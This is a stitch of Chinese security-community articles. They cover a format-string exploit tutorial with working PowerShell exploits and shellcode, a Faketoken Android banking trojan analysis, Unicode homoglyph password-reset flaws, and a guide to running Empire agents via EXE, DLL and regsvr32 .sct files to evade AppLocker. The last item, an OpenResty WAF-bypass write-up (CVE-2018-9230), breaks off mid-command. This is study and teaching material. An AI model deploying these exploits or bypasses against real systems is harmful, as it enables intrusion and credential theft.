接下来是我们的解决方案。在这个方案中,我们可以控制ECX和EAX。我们可以在ECX中写入shellcode的地址，并在EAX寄存器中写入指向返回地址的指针。一旦程序执行“mov
dword ptr
[eax]，ecx”，shellcode的地址将被写入堆栈的返回地址中。当程序到达函数最后并且触发尾部的LEAVE时，EIP将指向我们新写入的地址，该地址指向我们的shellcode。
这个方案听起来不错,让我们尝试着实现这些操作吧。
首先，我们应该将EAX指向我们的返回地址。我的第一个payload就是这样。如前一张图片一样，EAX包含78257825，即“x％x％”。
> $Buffer = 'A' * 80
>
> $fmt = '%x' * 21 + '%n'
>
> $ret = 'B' * 4
>
> $final = $Buffer + $fmt + $ret
>
> Start-Process ./fmt.exe -ArgumentList $final
我们必须不断尝试，直到EAX指向4个B字符。我一直在增加“％x”字符，最终使EAX指向“BBBB”。所以，我尝试的下一个payload就是这个。
> $Buffer = 'A' * 80
>
> $fmt = '%x' * 41 + '%n'
>
> $ret = 'B' * 4
>
> $final = $Buffer + $fmt + $ret
>
> Start-Process ./fmt.exe -ArgumentList $final
让我们试着通过让ECX寄存器指向我们的shellcode地址来控制它(寄存器)。如上图所示，shellcode位于0019f758,我们尝试把这个数字除以4。
0x0019f758/4 = 425430
我们将这个值赋给格式字符串％x，这将改变ECX的值。同时，我会将"％x"的字符数从41增加到51，以使EAX指向Bs。这个"％x"一次读取2个字符。在达到目的之前我们必须一直尝试。
> $Buffer = 'A' * 80
>
> $fmt = '%x' _51 + '%.425430x'_ 4 +'%n'
>
> $ret = 'B' * 4
>
> $final = $Buffer + $fmt + $ret
>
> Start-Process ./fmt.exe -ArgumentList $final
现在ECX指向0019f940，但我们需要让ECX指向0019f758。
让我们找出其不同,并继续尝试。
0x0019f940– 0x0019f758 = 488
通过将408添加到最后一个格式字符串中，我们应该能够接近我们的目标了。让我们试试看。
425430 + 488 = 425918
> $Buffer = 'A' * 80
>
> $fmt = '%x' _51 + '%.425430x'_ 3 + '%.425918x' +'%n'
>
> $ret = 'B' * 4
>
> $final = $Buffer + $fmt + $ret
>
> Start-Process ./fmt.exe -ArgumentList $final
现在ECX已经指向了19fb28,让我们再来看看有什么差异。
0x19fb28 – 0x19f758 = 976
通过减少最后一个格式字符串的差异，我们应当让ECX指向我们需要的准确地址。
425918 - 949 = 424942
> $Buffer = 'A' * 80
>
> $fmt = '%x' _51 + '%.425430x'_ 3 + '%.424942x' +'%n'
>
> $ret = 'B' * 4
>
> $final = $Buffer + $fmt + $ret
>
> Start-Process ./fmt.exe -ArgumentList $final
现在ECX已经指向了19f758，这正是我们要写入shellcode的位置。
由于我们有80个A字符，我将先尝试写入我自己的shellcode来弹出calc。因为如果我再次增加A字符的数量，计算偏移量时就会很麻烦。我将使用WinExec
API来调用calc,让我们找到它的地址。
下面是我自己编写的一个简单的asm代码,用来调用WinExec API。
format PE GUI 4.0
entry ShellCode
include 'win32ax.inc'
; Author: @OsandaMalith
section '.code' executable readable writeable
ShellCode:
push ebp
mov ebp, esp
xor edi, edi
push edi
mov byte [ebp-04h], 'c'
mov byte [ebp-03h], 'a'
mov byte [ebp-02h], 'l'
mov byte [ebp-01h], 'c'
mov dword [esp+4], edi
mov byte [ebp-08h], 01h
lea eax, [ebp-04h]
push eax
mov eax, 75263640h
call eax
下面是我最终的exp:
<#
# Author: @OsandaMalith
# Website: https://osandamalith.com
# Format String Exploitation
#>
$shellcode = [Byte[]] @(
0x55, # push ebp
0x89, 0xE5, # mov ebp, esp
0x31, 0xFF, # xor edi, edi
0x57, # push edi
0xC6, 0x45, 0xFC, 0x63, # mov byte [ebp-04h], 'c'
0xC6, 0x45, 0xFD, 0x61, # mov byte [ebp-03h], 'a'
0xC6, 0x45, 0xFE, 0x6C, # mov byte [ebp-02h], 'l'
0xC6, 0x45, 0xFF, 0x63, # mov byte [ebp-01h], 'c'
0x89, 0x7C, 0x24, 0x04, # mov dword [esp+4], edi
0xC6, 0x45, 0xF8, 0x01, # mov byte [ebp-08h], 01h
0x8D, 0x45, 0xFC, # lea eax, [ebp-04h]
0x50, # push eax
0xB8, 0x40, 0x36, 0x26, 0x75, # mov eax, 75263640h
0xFF, 0xD0# call eax
)
$shellcode += [Byte[]] (0x41) * (80 - $shellcode.Length)
$fmt = ([system.Text.Encoding]::ASCII).GetBytes('%x' * 51) +
([system.Text.Encoding]::ASCII).GetBytes('%.425430x' * 3) +
([system.Text.Encoding]::ASCII).GetBytes('%.424942x') +
([system.Text.Encoding]::ASCII).GetBytes('%n')
$ret = [System.BitConverter]::GetBytes(0x0019f730)
$final = $shellcode + $fmt + $ret
$payload = ''
ForEach ($i in $final) {
$payload += ([system.Text.Encoding]::Default).GetChars($i)
}
Start-Process ./fmt.exe -ArgumentList $payload
让我们在调试器中进行最后的检查。
ECX的值0019f758将被移至指向EAX的指针,其值为0019f730，这是一个包含我们返回地址的堆栈指针。在ECX寄存器内部,它指向我们的shellcode。
当触发函数返回时，EIP将指向我们的shellcode。
一旦我们运行这个exp,就能得到计算器。
您觉得使用egg hunter来查找shellcode的方式怎么样呢？有人可能会反驳说我们可以使用一个long
jump，或者我们可以直接将shellcode放在开头。但由于我的兴趣和好奇心,我仍然想使用这个方式。
一开始,我检查了bad chars,并在这个程序找到了它:“\x00\x09\x20” 。下面是egg
hunter的exp。请注意，偏移量可能会在不同的Windows平台上发生变化。
<#
# Author: @OsandaMalith
# Website: https://osandamalith.com
# Egg hunter for the format string bug
#>
[Byte[]] $egg = 0x66,0x81,0xca,0xff,0x0f,0x42,0x52,0x6a,0x02,0x58,0xcd,0x2e,0x3c,0x05,0x5a,0x74,0xef,0xb8,0x54,0x30,0x30,0x57,0x8b,0xfa,0xaf,0x75,0xea,0xaf,0x75,0xe7,0xff,0xe7
$shellcode = ([system.Text.Encoding]::ASCII).GetBytes('W00TW00T')
#msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f powershell -e x86/alpha_mixed
[Byte[]] $shellcode += 0x89,0xe0,0xdd,0xc7,0xd9,0x70,0xf4,0x5a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x43,0x43,0x43,0x43,0x43,0x43,0x37,0x52,0x59,0x6a,0x41,0x58,0x50,0x30,0x41,0x30,0x41,0x6b,0x41,0x41,0x51,0x32,0x41,0x42,0x32,0x42,0x42,0x30,0x42,0x42,0x41,0x42,0x58,0x50,0x38,0x41,0x42,0x75,0x4a,0x49,0x49,0x6c,0x78,0x68,0x4c,0x42,0x55,0x50,0x73,0x30,0x33,0x30,0x61,0x70,0x6c,0x49,0x6b,0x55,0x56,0x51,0x4b,0x70,0x73,0x54,0x6c,0x4b,0x56,0x30,0x56,0x50,0x6c,0x4b,0x32,0x72,0x76,0x6c,0x4e,0x6b,0x71,0x42,0x57,0x64,0x4e,0x6b,0x73,0x42,0x34,0x68,0x44,0x4f,0x48,0x37,0x53,0x7a,0x74,0x66,0x34,0x71,0x39,0x6f,0x4c,0x6c,0x45,0x6c,0x43,0x51,0x73,0x4c,0x76,0x62,0x44,0x6c,0x65,0x70,0x6b,0x71,0x38,0x4f,0x64,0x4d,0x37,0x71,0x7a,0x67,0x59,0x72,0x68,0x72,0x43,0x62,0x42,0x77,0x4e,0x6b,0x50,0x52,0x32,0x30,0x4e,0x6b,0x72,0x6a,0x77,0x4c,0x6e,0x6b,0x52,0x6c,0x57,0x61,0x73,0x48,0x78,0x63,0x72,0x68,0x33,0x31,0x38,0x51,0x30,0x51,0x6e,0x6b,0x70,0x59,0x75,0x70,0x55,0x51,0x4e,0x33,0x6c,0x4b,0x73,0x79,0x46,0x78,0x7a,0x43,0x45,0x6a,0x62,0x69,0x4c,0x4b,0x65,0x64,0x6c,0x4b,0x75,0x51,0x38,0x56,0x50,0x31,0x59,0x6f,0x4c,0x6c,0x59,0x51,0x6a,0x6f,0x76,0x6d,0x63,0x31,0x48,0x47,0x44,0x78,0x4d,0x30,0x42,0x55,0x4c,0x36,0x65,0x53,0x31,0x6d,0x58,0x78,0x55,0x6b,0x31,0x6d,0x71,0x34,0x31,0x65,0x6a,0x44,0x61,0x48,0x6e,0x6b,0x32,0x78,0x51,0x34,0x55,0x51,0x6a,0x73,0x71,0x76,0x6c,0x4b,0x44,0x4c,0x70,0x4b,0x4e,0x6b,0x53,0x68,0x57,0x6c,0x73,0x31,0x49,0x43,0x4e,0x6b,0x74,0x44,0x6e,0x6b,0x76,0x61,0x78,0x50,0x4c,0x49,0x30,0x44,0x76,0x44,0x66,0x44,0x73,0x6b,0x43,0x6b,0x61,0x71,0x53,0x69,0x32,0x7a,0x72,0x71,0x79,0x6f,0x6d,0x30,0x43,0x6f,0x63,0x6f,0x72,0x7a,0x6e,0x6b,0x74,0x52,0x7a,0x4b,0x4e,0x6d,0x31,0x4d,0x43,0x5a,0x55,0x51,0x6e,0x6d,0x4f,0x75,0x38,0x32,0x75,0x50,0x55,0x50,0x65,0x50,0x30,0x50,0x71,0x78,0x65,0x61,0x6c,0x4b,0x52,0x4f,0x6d,0x57,0x79,0x6f,0x4a,0x75,0x4f,0x4b,0x4a,0x50,0x4d,0x65,0x49,0x32,0x73,0x66,0x71,0x78,0x6f,0x56,0x6d,0x45,0x6f,0x4d,0x6f,0x6d,0x39,0x6f,0x4b,0x65,0x75,0x6c,0x45,0x56,0x51,0x6c,0x64,0x4a,0x4d,0x50,0x4b,0x4b,0x79,0x70,0x31,0x65,0x37,0x75,0x4d,0x6b,0x71,0x57,0x76,0x73,0x62,0x52,0x52,0x4f,0x71,0x7a,0x63,0x30,0x62,0x73,0x49,0x6f,0x69,0x45,0x53,0x53,0x51,0x71,0x50,0x6c,0x33,0x53,0x36,0x4e,0x53,0x55,0x70,0x78,0x32,0x45,0x45,0x50,0x41,0x41
$egg += [Byte[]] (0x41) * (80 - $egg.Length)
$fmt = ([system.Text.Encoding]::ASCII).GetBytes('%x' * 305) +
([system.Text.Encoding]::ASCII).GetBytes('%.425430x' * 3) +
([system.Text.Encoding]::ASCII).GetBytes('%.424942x') +
([system.Text.Encoding]::ASCII).GetBytes('%n')
$ret = [System.BitConverter]::GetBytes(0x0019f730)
$final = $egg + $fmt + $shellcode + $ret
$payload = ''
ForEach ($i in $final) {
$payload += ([system.Text.Encoding]::Default).GetChars($i)
}
Start-Process ./fmt.exe -ArgumentList $payload
这种开发方法依赖于编译器。我已经在Embarcadero C ++（Borland C ++）和Visual C ++
2000编译器上进行过实验了。在其他编译器中，printf函数与这些函数有些差异。你也可以研究其他编译器的开发方法。 | 社区文章 |
**手机银行木马新变种：Faketoken.q木马软件分析**
**来源：**
**<https://securelist.com/booking-a-taxi-for-faketoken/81457/>**
Trojan-Banker.AndroidOS.Faketoken是一款手机勒索恶意软件，该恶意软件已经被被安全研究人员发现一年多的时间了。在最近一段时间，卡巴斯基实验室的安全专家们发现了Faketoken这个手机银行勒索木马的一个新变种，该勒索软件已经从一个只拦截用户使用设备的原始木马演变成了能够加密用户数据的恶意软件，而且创建该新变种恶意软件的组织还在继续升级恶意软件。截至目前，全球范围内遭受该恶意软件感染的地理区域在不断的扩大，用户数在不断的增加。在攻击操作中，该恶意软件会伪装成多种程序或游戏，包括Adobe
Flash
Player等一些知名的软件，窃取超过2,000种安卓金融应用的登陆凭证。在该恶意软件最新版本中，我们的安全研究人员发现该恶意软件的变种也会攻击道路交通安全主管局发布的预订出租车和交通票的应用程序。
不久之前，我们来自俄罗斯一家大型银行的安全研究人员检测到一个新的特洛伊木马样本Faketoken.q(样本MD5:CF401E5D21DE36FF583B416FA06231D5)，该木马样本中包含了许多新奇的功能，在此特别要感谢我的同事们，下面我将分阶段对我们捕获到的木马样本进行分析。
**该恶意软件是如何传播的？**
虽然我们还没有办法完全重新复盘导致这次木马感染的整个事件链，但从应用程序图标我我们得知，该恶意软件是通过SMS消息潜入到用户智能手机中去的，并提示用户去下载一些图片。
**恶意软件的结构**
基于我们的分析发现，我们捕获到的这款移动端木马软件主要由两部分组成：第一部分是一个使用了代码混淆技术处理后的[dropper
](https://securelist.com/threats/trojan-droppers-glossary/?utm_source=securelist&utm_medium=blog)（依据：Trojan-Banker.AndroidOS.Fyec.az）：代码混淆操作通常在服务器端完成，用以抵抗安全软件的检测。乍一看，混淆后的代码其可读性是非常差的，在一定程度上会给分析带来一些挑战：
使用代码混淆技术已经是现在大多数恶意软件常用的做法，代码混淆能够很好的保护恶意软件免遭安全软件的检测，但是，我们的同事针对恶意软件代码混淆进行了深入了研究，并编写了一份使用起来特别棒的代码，该代码会对混淆的代码进行解密操作并启动恶意软件的第二部分。
恶意软件的第二部分是一个带有DAT扩展名的文件，该文件中包含了恶意软件的主要功能。从下图可以看到数据都是加密的：
通过解密数据，我们可以获得一个相当清晰的代码：
木马启动后，该恶意软件首先会隐藏其应用图标，并开始默默的监视所有的呼叫和用户启动的任何应用程序。在接收到某个电话号码打来电话或者接收到用户拨打电话给某个电话号码后，恶意软件便开始记录会话，并在对话结束后不久将其记录的会话内容发送给攻击者。
Faketoken.q的作者保留了该恶意软件原来的“伪装”功能，并大大简化了它们。因此，木马可以伪装成多个银行和其他应用程序的图标，例如Android
Pay，Google Play商店以及用于支付交通票和预订航班，酒店客房和出租车的应用程序，其代码实现如下图所示。
Faketoken.q木马软件会静默监控受感染用户手机中的应用程序，一旦用户启动一个该木马软件监控的应用程序后，它就会将用户手机上的的应用程序界面替换为一个假的界面，并提示受害者输入其银行卡数据。伪装操作会在很短的时间内完成，以致用户根本无法察觉，而且假界面的颜色和原始启动的应用程序的颜色一模一样。
值得注意的是，该恶意软件样本攻击的所有应用程序都支持绑定银行卡操作，由于某些应用软件的服务条款规定用户必须绑定银行卡才能使用该应用程序，并且数百万Android用户可能安装了这些应用程序，由此可见Faketoken造成的损害可能很大。
但是，可能会出现以下问题：如果欺诈者必须输入银行发送的短信验证码才能处理付款操作，那攻击者又该如何操作呢？
通过下面这段代码片段我们可以发现，攻击者们可以通过窃取发送的SMS短信消息并将其转发到C&C服务器来成功完成此任务。
我们相信，目前我们所掌握的关于木马的代码块还是该恶意软件部分样本，由于“伪装”另一个应用程序的界面可能是一件比较复杂的事情，一旦与原始应用程序有差别可能就易于被受害者识别该应用程序是假的：
由于多界面功能是一个广泛应用于大量应用程序（窗口管理器，短信等）的功能，因此保护自己免受此类伪造的覆盖是相当复杂的，这也是应用程序能够被被攻击者利用的契机。
到目前为止，我们仍然没有检测到Faketoken样本大量攻击的行为，我们倾向于认为我们捕获到的样本只是该恶意软件的一个测试版本。根据受攻击的应用程序列表、俄罗斯的覆盖面以及俄语的代码我们可以推断出Faketoken.q恶意软件专注于攻击来自俄罗斯或者独立联邦国家的用户。
**总结**
Faketoken.q恶意软件还会利用自己的快捷方式替换社交媒体网络、即时通讯工具或者浏览器的快捷方式。基于我们的研究发现，最新的Faketoken手机银行木马变种比较有趣，因为有些最新的功能似乎给攻击者带来的优势并不是特别的明显。但是，这并不意味着我们不应当慎重处理这种威胁。这些变化可能表示网络攻击者正在为未来开发打基础，或者表明恶意软件在不断演化和创新。通过曝光这一威胁，我们能够消除它带来的威胁，帮助用户保护设备和数据安全。
因此，为了避免遭受Faketoken.q或者像Faketoken.q一样的恶意软件的攻击，我们强烈建议在Android设备上安装第三方安全软件，并采取以下措施保护自己的安全，抵御Faketoken木马和其他恶意软件威胁：
1. 确保对终端手机上的所有数据进行备份；
2. 当一款应用程序要求使用权限时，不要轻易同意这些权限—请仔细思考一下这些应用要求的是什么权限，以及为什么要获取这些权限；
3. 在所有的设备上安装反恶意软件解决方案，同时保持自己的操作系统和软件及时更新。 | 社区文章 |
来源链接：[xdxd.love](http://xdxd.love/2016/10/17/unicode%E5%90%8C%E5%BD%A2%E5%AD%97%E5%BC%95%E8%B5%B7%E7%9A%84%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/)
作者：[xdxd](http://xdxd.love/)
## 历史上的安全漏洞
### spotify的漏洞
相关资料：
<https://labs.spotify.com/2013/06/18/creative-usernames/>
spotify的漏洞相比于github的漏洞来说是一个真正的高危漏洞，可以修改任意用户的密码。
### github的漏洞
相关资料：
<https://twitter.com/GitHubSecurity/status/757686530748125184>
<https://bounty.github.com/researchers/jagracey.html?ljh>
github的邮箱名允许unicode字符，导致可以把找回密码的token发送到攻击者的邮箱。从twitter的讨论来以及自己的测试结果来看提供邮箱服务的产品大部分都是白名单了邮箱的用户名，所以都是不可以使用unicode字符的。测试了网易的企业邮箱和腾讯的企业邮箱，都不可以使用unicode字符。所以只能自己搭一个邮件服务器来测试这个问题。
## 魔法在哪里
### 编码的基础知识、unicode编码和同形字
参考资料： <http://www.freebuf.com/articles/web/25623.html>
<http://www.irongeek.com/homoglyph-attack-generator.php>
了解了编码是二进制和字符之间的映射关系之后，可以了解到unicode字符无非也是一种字符而已，只要程序支持，应该不会有任何问题。为什么这个unicode字符在处理过程中变成了另外一个字符，而且是看起来很相似的字符，难道程序也跟人眼看一样，被相同的外表迷惑了。显然程序处理的是二进制的数据，只要二进制不同，无论外表看起来多么一样，程序都应该可以分辨出来。关于unicode同形字的问题，unicode
homoglyphs，其实早就有不少讨论。不过大多是利用同形字来迷惑人钓鱼之类。那么机器怎么也会被同形字迷惑呢。
github的漏洞描述中是这么写的:a flaw in the way email addresses were being normalized to
standard character sets when used to look up accounts during the password
recovery flow. 在邮件地址标准化成标准的字符集的时候出现问题。
而spoity中对有对详细漏洞的代码分析：可以看到也是对字符串的标准化操作导致unicode字符转换成了与他同形的ascii字符。
### unicode转ascii
参考资料：
<https://www.peterbe.com/plog/unicode-to-ascii>
<http://savanttools.com/unicode-to-ascii.asp>
这里才是最有意思的地方，为什么对unicode字符的标准化会导致unicode转变成了对应的同形字。电脑应该是只看二进制，又不是跟人一样，会被同形的字迷惑。通过搜索发现，原来有专门的unicode转ascii函数，对unicode于同形的ascii之间有对应的map。
比如github中提到的例子，转成对应的ascii就刚好对的上。
## 漏洞原理
漏洞的原理比较有意思，主要的条件是用户的id支持unicode。比如两个ID：mike@example.org vs mıke@example.org
然而在一些业务逻辑中会对用户id做标准化的操作，比如重置密码的时候，mıke@example.org标准化之后变成了mike@example.org，从而重置了mike@example.org的密码。
所以关键的条件就是用户识别的ID(包括可以用来登录的邮箱)支持unicode。而在某些业务逻辑中有对unicode字符进行所谓标准化，转换成了对应的ascii。其实假如某些业务逻辑不支持unicode，直接丢掉了那部分unicode，应该也是一样的，目前没有看到类似的案例。导致在这部分业务逻辑中出现了越权的问题。典型的场景就是修改密码，导致可以修改他人的密码。
## 对微信的测试记录
实际中的场景比较少，大部分产品都会对用户登录名做白名单限制了。经过一番寻找发现微信的绑定邮箱是支持unicode的，而且是邮箱的用户名和域名部分都支持unicode。当然最后的测试结果是不存在这个漏洞。作为一个典型的测试过程记录一下。
### 搭建支持unicode用户名的邮件服务器
使用iredmail方便快速搭建邮件服务器。然后发现iredmail对用户名也是有过滤的。代码在iRedAdmin-0.6.1/libs/iredutils.py
中的is_email方法。修改该方法直接返回True,不检查邮件用户名。
######################
# Regular expressions.
#
# Email.
reEmail = r'''[\w\-][\w\-\.\+\=]*@[\w\-][\w\-\.]*\.[a-zA-Z0-9\-]{2,15}'''
# Domain.
reDomain = r'''[\w\-][\w\-\.]*\.[a-z0-9\-]{2,15}'''
# End Regular expressions.
####
#####################################
# Pre-defined values of SQL functions.
sqlUnixTimestamp = web.sqlliteral('UNIX_TIMESTAMP()')
#####
##############
# Validators
#
INVALID_EMAIL_CHARS = '~!#$%^&*()\\/\ '
INVALID_DOMAIN_CHARS = '~!#$%^&*()+\\/\ '
def is_email(s):
#return True 直接返回true，不检查email名称合法性。
s = str(s)
if len(set(s) & set(INVALID_EMAIL_CHARS)) > 0 \
or '.' not in s \
or s.count('@') != 1:
return False
reCompEmail = re.compile(reEmail + '/span>, re.IGNORECASE)
if reCompEmail.match(s):
return True
else:
return False
然后发现依然无法收到邮件，发现服务器返回505。拒绝了含有unicode字符的邮箱。
采用的解决方式在数据库中插入了一条域名的邮箱，转发到一个正常的邮箱。这样可以接受这个域名所有的邮件。
因为iredmail默认开启了SSL，为了调试，查看具体的smtp信息，关闭了SSL，直接明文传。
### 绑定邮箱以及重置密码
微信邮箱绑定支持unicode字符的邮箱。
绑定邮箱后，重置密码。
正常重置了自己的密码。链接中的email字段是base64编码的。解码出来是含有unicode字符的邮箱。所以微信的重置密码业务逻辑中没有标准化unicode字符这个处理。不存在unicode同形字引起的漏洞。
* * * | 社区文章 |
# 【技术分享】如何不调用PowerShell.exe获得Empire agent
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**0x00 前言**
客户端已经使用Applocker来禁用PowerShell.exe，并且我买不起Cobalt
Strike。但我又想通过一个钓鱼活动来在工作站中获得一个Empire
payload。对于Empire的启动方式，几乎全部都依赖PowerShell.exe的使用。其他的方式（类似msbuild.exe）需要在磁盘释放一个文件，并且我真的很喜欢regsvr32的方式，其可以通过网络来加载我的.sct文件（它也会在磁盘中释放一个文件）或者使用[
**ducky**](https://hakshop.com/products/usb-rubber-ducky-deluxe)
的方式。我也很喜欢在文档中使用VBA或者HTA的方式的便捷。问题是，Empire是一个PowerShell RAT，因此必须运行PowerShell。
建议使用的方式是调用Empire.dll或者通过网络SMB共享调用Empire.exe。虽然我没有尝试这种方法，但是我确信它是有效的。对于SMB的方式，我不喜欢的地方是会有一个外连的SMB连接，在任何观察流量的防御者眼中这都是非常可疑的。
现在我需要3种payload：
1\. 生成一个empire.exe
2\. 生成一个empire.dll
3\. 生成一个不调用powershell.exe的empire.sct
我将使用的工具和资源如下：
1\. [**@sixdub**](https://twitter.com/sixdub) 的[
**SharpPick**](https://github.com/PowerShellEmpire/PowerTools) 代码库
2\. James Foreshaw ([ **@tiraniddo**](https://twitter.com/tiraniddo?lang=en)
)的[ **DotNetToJS**](https://github.com/tyranid/DotNetToJScript)
3\. Casey Smith ([ **@subtee**](https://twitter.com/subTee) )的[
**AllTheThings**](https://github.com/subTee/AllTheThings)
4.Visual Studio。不是必要的。你可以使用csc.exe来生成你的项目，但是我没有测试过。我选择使用Visual Studio
2010来生成PowerPick，尽管2012可能更好。据我所知，那将会下载大量东西。好处是2010/2012中包含了老的.NET库（变得越来越难找到）。
如果没有上述作者的贡献，我将无法完成这个，我非常感谢他们。下面我将将这些伟大的工作组合到一起来实现我之前未能找到过的成果。
注意：在我的研究中，我发现了两个项目也做了几乎同样的事情，他们都是使用DotNetToJScript，但是对我并不适用。
1\. StarFighters
(@Cn33liz)。首先，我非常喜欢通过网络运行编码过的二进制文件。这个包含了一个编码的powershell.exe，其接收并执行你的启动器的代码。我尝试了下，能得到一个Empire，但是不能执行脚本。
2\. CACTUSTORCH
(@vysecurity)。我也试用了这个，但是我不想注入shellcode到启动的二进制中，而且我不知道如何使用SharpPick将我的启动器转化为shellcode。它可能是可行的，只是我不知道而已。例子中，@vysecurity
的提供了使用Cobalt Strike或者Meterpreter shellcode的输出的方式。
**0x01 生成一个Empire.exe**
我经常看到Cobalt
Strike使用“updates.exe”，它是一个定期的信号发送器。对于Empire，你能使用这种方式来做到类似的东西。将它添加到邮件内容中去，建议需要安装新的防病毒软件。或者通过WMI/psexec来运行它，或者在Outlook中作为一个内嵌的[
**OLE对象**](https://doublepulsar.com/oleoutlook-bypass-almost-every-corporate-security-control-with-a-point-n-click-gui-37f4cbc107d0) （[
**@tyler_robinson**](https://twitter.com/tyler_robinson?lang=en) ）。
这可能是不调用PowerShell.exe而获得一个agent的最简单的一种方式。
通过git来得到一份[ **PowerPick**](https://github.com/PowerShellEmpire/PowerTools)
的拷贝，并在Visual Studio中打开项目。
首先，你需要混淆一些项目属性。改变程序和程序集信息的名称。可以通过菜单“项目-SharpPick
属性”来做到。确保修改“输出类型”为“Windows应用程序”，以便当你双击运行或者从CLI执行后，它能在后台运行。
点击“程序集信息”按钮，并修改属性。
现在你还要将Program.cs中的代码修改[
**如下**](https://gist.github.com/bneg/bf8c05664324e3efeb1fb05902152a20) ：
字符串“stager”只包含base64编码的Empire启动器的信息。它需要解码并传给RunPS()函数，该函数将PowerShell命令发送给System.Management.Automation，这里是PowerShell的魅力所在。将直接进入Windows核心。
现在在菜单中选择“生成-生成解决方案”或者点击“F6”。生成的二进制文件位于“PowerToolsEmpire_SCTPowerPickbinx86Debug”。
你可能会遇到关于ReflectivePick不能生成的错误。你能选择菜单“生成-配置管理器”，并从“项目上下文”中去除“ReflectivePick”。因为我们不需要它。
双击可执行文件来测试下二进制文件，或者在CLI中运行测试。在你启动或执行后它应该是运行于后台的。
**0x02 生成一个Empire.dll**
有可能你会需要一个DLL，以便你能使用Casey找到的那些绕过Applocker的方法。它也可以通过rundll32.exe运行。为了实现这个，我们稍微改变下我们的项目，在代码中添加一些入口点。下面的代码直接来自于@subtee的AllTheThings。
不像EXE，只要打开项目并改变一些配置。更重要的是你要在项目属性中将“输出类型”修改为“类库”。你还应该设置你的“启动对象”为默认值（基于命名空间和类名）。
接下来，安装Visual Studio的nuget包管理器。一旦安装完成，你需要通过下面命令来安装依赖库“UnmanagedExports”：
再次选择“生成-生成解决方案”或者点击“F6”，能在生成目录中生成一个LegitLibrary.dll。
运行下面的命令测试你的DLL：
这将返回一个新的agent到你的Empire C2。如果你在Process Explorer中观察，你能看到rundll32进程。
**0x03 生成一个Empire.sct**
这可能是最复杂的地方，因为它涉及一系列操作。最终的流程应该如下：填充PowerShell到一个.NET应用中，将.NET应用转化为base64编码的二进制并存于JavaScript文件中，然后填充到.sct文件中。你能使用regsvr32来调用sct，其将在你的web或文件服务器上运行.SCT中的JavaScript。
我们的目标是Empire.exe
payload（base64编码后的）。项目选项应该和Empire.exe的相同，就是“Windows应用程序”。代码有点不同，因为JavaScript需要公共方法来执行你的代码（[参考](https://gist.github.com/bneg/449612acde4f670b7dafb5a05f0ce88e)）。
生成解决方案，找到生成的二进制文件，它应该是一个EXE。
接着，下载[ **DotNetToJScript**](https://github.com/subTee/DotNetToJScript)
，并在Visual Studio中打开项目，在项目选项中将.NET目标改为“.NET 版本
3.5”（或者2.0），并生成它。一旦生成完成，找到DotNetToJScript.exe和NDesk.Options.dll，把他们和LegitScript.exe放在同一个目录中。
运行下面的命令（-c是入口点，改为你选择的命令空间.类）：
将得到一个JavaScript脚本文件legitscript.js。DotNetToJScript输出可以有多种语言格式，包括VBScript和内嵌到Office文档中的VBA，或者其他你需要的。
通过运行下面的命令来测试下脚本：
在你的工作站后台应该启动了一个新的agent。它运行于wscipt进程中。
如果你确认一切就绪，现在就可以包装一个.sct文件，以便我们能使用regsvr32.exe来调用。
将legitscript.js的全部内容放置于CDATA标签中（如下图）。通过下面的命令在Empire中得到XML格式。
这个设置不重要，但是能作为你的监听器来确保“OutFile”被设置为null或“”，因为这将打印内容到屏幕上。如果你从Empire中得到内容，清空CDATA标签中的内容，并用legitscript.js的内容替代。
保存为2legit.sct，使用下面命令测试：
你将再次得到一个新的agent。将这个.sct文件保存到你的web或者文件服务器上，使用“/i:https://example.com/2legit.sct””能远程调用。这能绕过Applocker，因为regsvr32.exe是微软签名的二进制文件。
**0x04 总结**
PowerShell非常好用，攻击者已经使用它很多年了。最好的建议是保持客户端环境为PowerShell受限模式，禁用PowerShell
v2，并升级PowerShell最新版（支持脚本块日志）。阻止PowerShell在你的环境中运行非常困难且几乎不太实际，因此至少要知道何时和如何使用它。 | 社区文章 |
# 打破基于OpenResty的WEB安全防护（CVE-2018-9230）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
OpenResty® 是一个基于 Nginx 与 Lua 的高性能 Web 平台，其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖项。
OpenResty官网：<https://openresty.org>
漏洞编号：CVE-2018-9230
漏洞简介：OpenResty
通过ngx.req.get_uri_args、ngx.req.get_post_args函数进行uri参数获取，忽略参数溢出的情况，允许远程攻击者绕过基于OpenResty的安全防护，影响多款开源WAF。
影响版本：OpenResty全版本
## 0x01 环境搭建
运行环境：CentOS6
源码版本：<https://openresty.org/download/openresty-1.13.6.1.tar.gz> （官网最新版）
## 0x02 漏洞详情
### A、uri参数获取
首先看一下官方 API 文档，获取一个 uri
有两个方法：ngx.req.get_uri_args、ngx.req.get_post_args，二者主要的区别是参数来源有区别，ngx.req.get_uri_args获取
uri 请求参数，ngx.req.get_post_args获取来自 post 请求内容。
测试用例：
`server {
listen 80;
server_name localhost;
location /test {
content_by_lua_block {
local arg = ngx.req.get_uri_args()
for k,v in pairs(arg) do
ngx.say(“[GET ] key:”, k, “ v:”, v)
end
ngx.req.read_body()
local arg = ngx.req.get_post_args()
for k,v in pairs(arg) do
ngx.say(“[POST] key:”, k, “ v:”, v)
end
}
}
}
`
输出测试：
### B、参数大小写
当提交同一参数id，根据接收参数的顺序进行排序，
可是当参数id，进行大小写变换，如变形为Id、iD、ID，则会被当做不同的参数。
这里，介绍参数大小写，主要用于进一步构造和理解测试用例。
#### C、参数溢出
如果当我们不段填充参数，会发生什么情况呢，为此我构造了一个方便用于展示的测试案例，a0-a9，10*10,共100参数，然后第101个参数添加SQL注入
Payload，我们来看看会发生什么？
测试用例：
`curl '127.0.0.1/test?
a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&
a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&
a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&
